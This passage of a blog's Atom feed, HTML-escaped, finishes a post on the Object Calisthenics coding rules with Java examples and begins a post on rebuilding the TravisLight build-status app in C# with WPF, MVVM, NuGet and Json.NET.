    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;addTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;character&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then again, you should change the visibility of your attribute. As a reminder,
the &lt;a href=&quot;http://en.wikipedia.org/wiki/Open/closed_principle&quot;&gt;Open/Closed Principle&lt;/a&gt;
says that software entities (classes, modules, functions, etc.) should be &lt;strong&gt;open
for extension&lt;/strong&gt;, but &lt;strong&gt;closed for modification&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Also, extracting the code to get the first character of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;representation&lt;/code&gt;
in a new method looks like a good idea as it may be reused at some point.
Finally, here is the updated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Board&lt;/code&gt; class:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Board&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;boardRepresentation&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;StringBuilder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Location&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;squares&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;addTo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buf&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Much better, right?&lt;/p&gt;

&lt;h2 id=&quot;6-dont-abbreviate&quot;&gt;6. Don’t Abbreviate&lt;/h2&gt;

&lt;p&gt;The right question is &lt;strong&gt;Why Do You Want To Abbreviate?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You may answer that it is because you write the same name over and over again?
And I would answer that this method is reused multiple times, and that it looks
like &lt;strong&gt;code duplication&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So you will say that the method name is too long anyway. And I would tell you
that maybe your class has multiple responsibilities, which is bad as it violates
the &lt;a href=&quot;http://en.wikipedia.org/wiki/Single_responsibility_principle&quot;&gt;Single Responsibility
Principle&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I often say that if you can’t find a decent name for a class or a method,
something is probably wrong. It is a rule I use to follow while &lt;a href=&quot;/2012/01/24/designing-a-software-by-naming-things/&quot;&gt;designing a
software by naming things&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Don’t abbreviate, period.&lt;/p&gt;

&lt;h2 id=&quot;7-keep-all-entities-small&quot;&gt;7. Keep All Entities Small&lt;/h2&gt;

&lt;p&gt;No class over &lt;strong&gt;50 lines&lt;/strong&gt; and no package over 10 files. Well, it depends on
you, but I think you could change the number of lines from 50 to 150.&lt;/p&gt;

&lt;p&gt;The idea behind this rule is that &lt;strong&gt;long files are harder to read&lt;/strong&gt;, harder to
understand, and harder to maintain.&lt;/p&gt;

&lt;h2 id=&quot;8-no-classes-with-more-than-two-instance-variables&quot;&gt;8. No Classes With More Than Two Instance Variables&lt;/h2&gt;

&lt;p&gt;I thought people would yell at me while introducing this rule, but it didn’t
happen. This rule is probably the hardest one, but it promotes &lt;strong&gt;high cohesion&lt;/strong&gt;,
and &lt;strong&gt;better encapsulation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A picture is worth a thousand words, so here is the explanation of this rule in
picture. Note that it relies on &lt;a href=&quot;#3-wrap-all-primitives-and-strings&quot;&gt;Rule 3: Wrap All Primitives And
Strings&lt;/a&gt;.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2013/06/2-instance-variables.png&quot; alt=&quot;&quot; /&gt;
&lt;em&gt;Source: &lt;a href=&quot;https://github.com/TheLadders/object-calisthenics#rule-8-no-classes-with-more-than-two-instance-variables&quot;&gt;https://github.com/TheLadders/object-calisthenics#rule-8-no-classes-with-more-than-two-instance-variables&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The main question was &lt;em&gt;Why two attributes?&lt;/em&gt; My answer was &lt;em&gt;Why not?&lt;/em&gt; Not the
best explanation but, in my opinion, the main idea is to distinguish &lt;strong&gt;two kinds
of classes&lt;/strong&gt;, those that &lt;strong&gt;maintain the state of a single instance variable&lt;/strong&gt;,
and those that &lt;strong&gt;coordinate two separate variables&lt;/strong&gt;. &lt;strong&gt;Two&lt;/strong&gt; is an arbitrary
choice that forces you to decouple your classes a lot.&lt;/p&gt;

&lt;h2 id=&quot;9-no-getterssettersproperties&quot;&gt;9. No Getters/Setters/Properties&lt;/h2&gt;

&lt;p&gt;My favorite rule. It could be rephrased as
&lt;a href=&quot;http://c2.com/cgi/wiki?TellDontAsk&quot;&gt;Tell&lt;/a&gt;, &lt;a href=&quot;http://pragprog.com/articles/tell-dont-ask&quot;&gt;don’t
ask&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It is okay to use accessors to get the state of an object, as long as you don’t
use the result to make decisions outside the object. Any decisions based
entirely upon the state of one object should be made inside the object itself.&lt;/p&gt;

&lt;p&gt;That is why &lt;a href=&quot;http://stackoverflow.com/questions/565095/are-getters-and-setters-evil&quot;&gt;getters/setters are often considered
evil&lt;/a&gt;.
Then again, they violate the &lt;a href=&quot;http://en.wikipedia.org/wiki/Open/closed_principle&quot;&gt;Open/Closed
Principle&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let’s take an example:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Game&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;score&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;setScore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;score&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;score&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;score&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getScore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;score&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Usage&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;game&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;setScore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;game&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getScore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ENEMY_DESTROYED_SCORE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the code above, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getScore()&lt;/code&gt; is used to make a decision, you choose how
to increase your score, instead of leaving this responsibility to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Game&lt;/code&gt;
instance.&lt;/p&gt;

&lt;p&gt;A better solution would be to remove the getters/setters, and to provide methods
that make sense. Remember, you must &lt;strong&gt;tell&lt;/strong&gt; the class to do something, and you
should &lt;strong&gt;not ask&lt;/strong&gt; it. In the following, you &lt;strong&gt;tell&lt;/strong&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;game&lt;/code&gt; to update your
score as you destroyed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ENEMY_DESTROYED_SCORE&lt;/code&gt; enemies.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Game&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;addScore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;score&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;delta&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Usage&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;game&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;addScore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ENEMY_DESTROYED_SCORE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;game&lt;/code&gt;’s responsibility to determine how to update the score.&lt;/p&gt;

&lt;p&gt;In this case, you could keep the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getScore()&lt;/code&gt; as you may want to display it
somewhere on the UI, but keep in mind that &lt;a href=&quot;http://whitewashing.de/2012/08/22/building_an_object_model__no_setters_allowed.html&quot;&gt;setters should not be
allowed&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;If you don’t feel comfortable with these rules, it is ok, but trust me when I
tell you that they can be used in real life. Try them in your spare time, by
refactoring your Open Source projects for instance. I think it is just a matter
of practice. Some rules are easy to follow, and may help you.&lt;/p&gt;

&lt;h2 id=&quot;slides&quot;&gt;Slides&lt;/h2&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;9839ef20a6310130ee5c4ac98188c567&quot; data-ratio=&quot;1.29456384323641&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;links&quot;&gt;Links&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/rdohms/your-code-sucks-lets-fix-it-15471808&quot;&gt;Object Calisthenics and Code Readability in
PHP&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/guilhermeblanco/object-calisthenics-applied-to-php&quot;&gt;Object Calisthenics Applied to
PHP&lt;/a&gt;;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.cs.helsinki.fi/u/luontola/tdd-2009/ext/ObjectCalisthenics.pdf&quot;&gt;Object
Calisthenics&lt;/a&gt;
by Jeff Bay.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR&lt;/h2&gt;

&lt;p&gt;9 steps to better software design today, by Jeff Bay:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Only One Level Of Indentation Per Method&lt;/li&gt;
  &lt;li&gt;Don’t Use The ELSE Keyword&lt;/li&gt;
  &lt;li&gt;Wrap All Primitives And Strings&lt;/li&gt;
  &lt;li&gt;First Class Collections&lt;/li&gt;
  &lt;li&gt;One Dot Per Line&lt;/li&gt;
  &lt;li&gt;Don’t Abbreviate&lt;/li&gt;
  &lt;li&gt;Keep All Entities Small&lt;/li&gt;
  &lt;li&gt;No Classes With More Than Two Instance Variables&lt;/li&gt;
  &lt;li&gt;No Getters/Setters/Properties&lt;/li&gt;
&lt;/ol&gt;
</content>
    </entry>
    
    <entry>
        <title>On being a .NET developer for a weekend</title>
        <link href="https://williamdurand.fr/2013/05/09/on-being-a-net-developer-for-a-weekend/"/>
        <updated>2013-05-09T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/05/09/on-being-a-net-developer-for-a-weekend</id>
        <content type="html">&lt;p&gt;Even though I learned C# and the .NET platform at the University, I only started
to get exposed to all these Microsoft technologies some weeks ago. My current
job is somewhat tied to software built with the .NET platform.&lt;/p&gt;

&lt;p&gt;To be honest, I had tons of preconceived ideas about Microsoft and its
programming technologies. One of them was the fact that &lt;a href=&quot;https://blog.codinghorror.com/why-ruby/&quot;&gt;you can certainly build
open source software in .NET. And many do. But it never feels natural. It never
feels right. […] It is just not a native part of the Microsoft .NET culture
to make things open source, especially not the things that
suck&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;However, I always considered Visual Studio to be one of the best IDEs (as much
as I love &lt;em&gt;vim&lt;/em&gt;, I don’t think that’s an IDE).&lt;/p&gt;

&lt;h2 id=&quot;the-plan&quot;&gt;The plan&lt;/h2&gt;

&lt;p&gt;I decided to rewrite &lt;a href=&quot;https://github.com/willdurand/TravisLight&quot;&gt;TravisLight&lt;/a&gt;, a
weekend project I introduced in &lt;a href=&quot;/2012/12/24/on-being-a-frontend-developer-for-a-weekend/&quot;&gt;a previous “On being a &lt;em&gt;XXX&lt;/em&gt; developer for a
weekend” article&lt;/a&gt;. My
goals were to learn &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/aa970268.aspx&quot;&gt;Windows Presentation
Foundation&lt;/a&gt; (WPF), the
&lt;a href=&quot;https://en.wikipedia.org/wiki/Model_View_ViewModel&quot;&gt;Model-View-ViewModel&lt;/a&gt;
design pattern, and to become familiar with some more Microsoft tools.&lt;/p&gt;

&lt;p&gt;The codename of my project is TravisLight.Net. It is released under the MIT
license and publicly available on CodePlex, Microsoft’s open source project
hosting platform. CodePlex is more or less GitHub for .NET developers. It offers
both &lt;a href=&quot;https://git-scm.com/&quot;&gt;Git&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Team_Foundation_Server&quot;&gt;Team Foundation
Server&lt;/a&gt; (TFS)
repositories.&lt;/p&gt;

&lt;h2 id=&quot;team-foundation-server&quot;&gt;Team Foundation Server&lt;/h2&gt;

&lt;p&gt;TFS is not only a source code management system but also a complete
collaboration platform including an issue-tracking system and a build server
(among other things). To me, this looks like to
&lt;a href=&quot;https://subversion.apache.org/&quot;&gt;SVN&lt;/a&gt; with superpowers. Yes, it’s a centralized
version control system!&lt;/p&gt;

&lt;p&gt;Compared to Git, I miss the staging area and the disconnected mode. Creating
beautiful changesets&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; is not super easy either, and I’d also add that locking
files to edit them is a pain.&lt;/p&gt;

&lt;p&gt;Most things happening in Team Foundation Server are centered around “work
items”. It is (more or less) like an issue (or bug) in some other bug tracker.
For each changeset, one can attach one or more work items. This is actually
cool.&lt;/p&gt;

&lt;p&gt;The next step to build TravisLight.Net was to organize my code. I decided to
follow the MVVM pattern.&lt;/p&gt;

&lt;h2 id=&quot;model-view-viewmodel&quot;&gt;Model-View-ViewModel&lt;/h2&gt;

&lt;p&gt;The &lt;strong&gt;M&lt;/strong&gt;odel-&lt;strong&gt;V&lt;/strong&gt;iew-&lt;strong&gt;V&lt;/strong&gt;iew &lt;strong&gt;M&lt;/strong&gt;odel (MVVM) design pattern is used to
separate the business and presentation layers of an application from its user
interface. Both the Model and the View layers are the same as in the
&lt;strong&gt;M&lt;/strong&gt;odel-&lt;strong&gt;V&lt;/strong&gt;iew-&lt;strong&gt;C&lt;/strong&gt;ontroller (MVC) design pattern. However, the View is not
aware of the Model, and vice-versa.&lt;/p&gt;

&lt;p&gt;The ViewModel layer acts as the glue between the Model and the View. The
ViewModel also exposes methods and/or commands that help to maintain the state
of the View and to manipulate the Model as the result of actions on the View.&lt;/p&gt;

&lt;p&gt;The View and the ViewModel rely on data-binding and commands to communicate.
&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms752347.aspx&quot;&gt;Data binding&lt;/a&gt; is the
process that establishes a connection between the user interface and business
logic. When the data changes its value, the elements that are bound to the data
reflect changes automatically.&lt;/p&gt;

&lt;p&gt;In Visual Studio, I created a “solution” with one “project” per layer. A
solution is a container for projects, and a project can be seen as a component
of an application. A project for each layer seemed like a good idea to me
(separation of concerns FTW).&lt;/p&gt;

&lt;p&gt;Now, TravisLight.Net is a desktop application that displays build statuses from
&lt;a href=&quot;https://travis-ci.org&quot;&gt;Travis-CI&lt;/a&gt;. This service provides a REST API that
returns JSON data. What do we need? A library to manipulate JSON data of course.
Where/how do we find that? &lt;a href=&quot;https://www.nuget.org/&quot;&gt;NuGet&lt;/a&gt; to the rescue!&lt;/p&gt;

&lt;h2 id=&quot;introducing-nuget&quot;&gt;Introducing NuGet&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.nuget.org/&quot;&gt;NuGet&lt;/a&gt; (pronounced “New Get” and not “Nugget”) is a
fantastic Visual Studio extension that makes it easy to install and update
third-party libraries and tools. This is a package manager for .NET developers.
At the time of writing, there are more than 11600 packages, including many of
the Microsoft libraries!&lt;/p&gt;

&lt;p&gt;I decided to &lt;a href=&quot;http://docs.nuget.org/docs/workflows/using-nuget-without-committing-packages&quot;&gt;use NuGet without committing packages to source
control&lt;/a&gt;,
which seemed to be a good idea. Visual Studio automatically downloaded the
missing packages before building the project.&lt;/p&gt;

&lt;p&gt;Now that I have introduced some tools and concepts, let’s focus on some
implementation details.&lt;/p&gt;

&lt;h2 id=&quot;working-with-json&quot;&gt;Working with JSON&lt;/h2&gt;

&lt;p&gt;I used &lt;a href=&quot;https://www.newtonsoft.com/json&quot;&gt;Json.NET&lt;/a&gt;, a powerful JSON framework
for .NET, to manipulate JSON data. And to be honest, deserializing data could
not be easier.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DeserializeObject()&lt;/code&gt; method takes a string as argument, and returns an
object. This is a generic method so one can specify the object’s type they
expect to get:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Newtonsoft.Json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;TravisLight.Model.Entity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;repositories&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;JsonConvert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DeserializeObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;List&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Repo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&amp;gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Json.NET automatically maps a JSON key to a property in the C# class. If we want
to define our own mapping, we can add a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JsonProperty&lt;/code&gt; annotation to the
properties. In the following code, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Id&lt;/code&gt; property is automatically mapped to
an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt; entry in JSON and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LastBuildResult&lt;/code&gt; property is explicitely mapped
to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;last_build_result&lt;/code&gt; entry in JSON:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Newtonsoft.Json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;TravisLight.Model.Entity&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Repo&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;region&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;properties&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Id&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;

        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;JsonProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;last_build_result&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Nullable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LastBuildResult&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;endregion&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;These two code snippets above are enough to deserialize the following JSON
content:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
